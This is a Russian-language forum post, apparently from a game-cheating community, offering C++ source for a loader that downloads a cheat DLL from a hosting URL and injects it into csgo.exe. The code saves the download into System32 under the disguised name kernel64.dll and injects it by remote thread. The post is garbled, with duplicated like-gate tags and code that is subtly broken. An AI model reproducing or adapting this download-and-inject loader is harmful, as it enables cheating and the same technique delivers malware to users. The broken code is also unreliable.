Здарова щеглы, в этот раз будем делать ну прям пиздец простой лоадер для вашего чита.
Тему писал сам, код мой, не копипаст.
[LIKES=10]
Уточняю:
[/LIKES]
Тему писал сам, код мой, не копипаст.
[LIKES=10]
Код:
//Подключаем библиотеки
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <urlmon.h> // без этого URLDownLoadFile будет выдавать ошибку
#pragma comment (lib, "urlmon.lib") // без этого URLDownLoadFile будет выдавать ошибку
#define DLL "C://Windows//System32//kernel64.dll" // тут мы определяем DLL как путь к нашей дллки чита.
#define PROCESS "csgo.exe" // определяем PROCESS как csgo.exe
using namespace std; // возможность использовать cout, cin и т.д. без std::
DWORD Process(char* ProcessName) // процесс
{
HANDLE hPID = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
PROCESSENTRY32 ProcEntry;
ProcEntry.dwSize = sizeof(ProcEntry);
do
{
if (!strcmp(ProcEntry.szExeFile, ProcessName))
{
DWORD dwPID = ProcEntry.th32ProcessID;
CloseHandle(hPID);
return dwPID;
}
} while (Process32Next(hPID, &ProcEntry));
}
int main() // main
{
SetConsoleTitleA("CSGOSimple Loader"); // Устанавливаем название консоли
cout << "====== CSGOSimple - Simple CS:GO Cheat v1.1 Copyright 2018 CSGOSimple Cheats ======\n";
Sleep(1000);
URLDownloadToFile(0, "http://example.000webhostapp.com/csgosimple.dll", "C://Windows//System32//kernel64.dll", 0, 0); // скачиваем файл с нашего хостинга в System32
cout << "Injecting..." << endl; // выводим в консоль что инжектим чит
DWORD dwProcess; //определяем dwProcess
char myDLL[MAX_PATH]; // определяем myDLL
GetFullPathName(DLL, MAX_PATH, myDLL, 0);
dwProcess = Process(PROCESS); // определяем dwProcess как Process(PROCESS), PROCESS - это csgo.exe, не забываем.
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwProcess); // тут происходит сам инжект чита опен процессом (детект)
LPVOID allocatedMem = VirtualAllocEx(hProcess, NULL, sizeof(myDLL), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, allocatedMem, myDLL, sizeof(myDLL), NULL);
CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibrary, allocatedMem, 0, 0);
CloseHandle(hProcess);
cout << "Injected!"; // выводим отчет - заинжекченно.
Sleep(1000); //ждем секунду и закрываем консоль
}
return 0; // отдаем управление системе
}
Уточняю:
[/LIKES]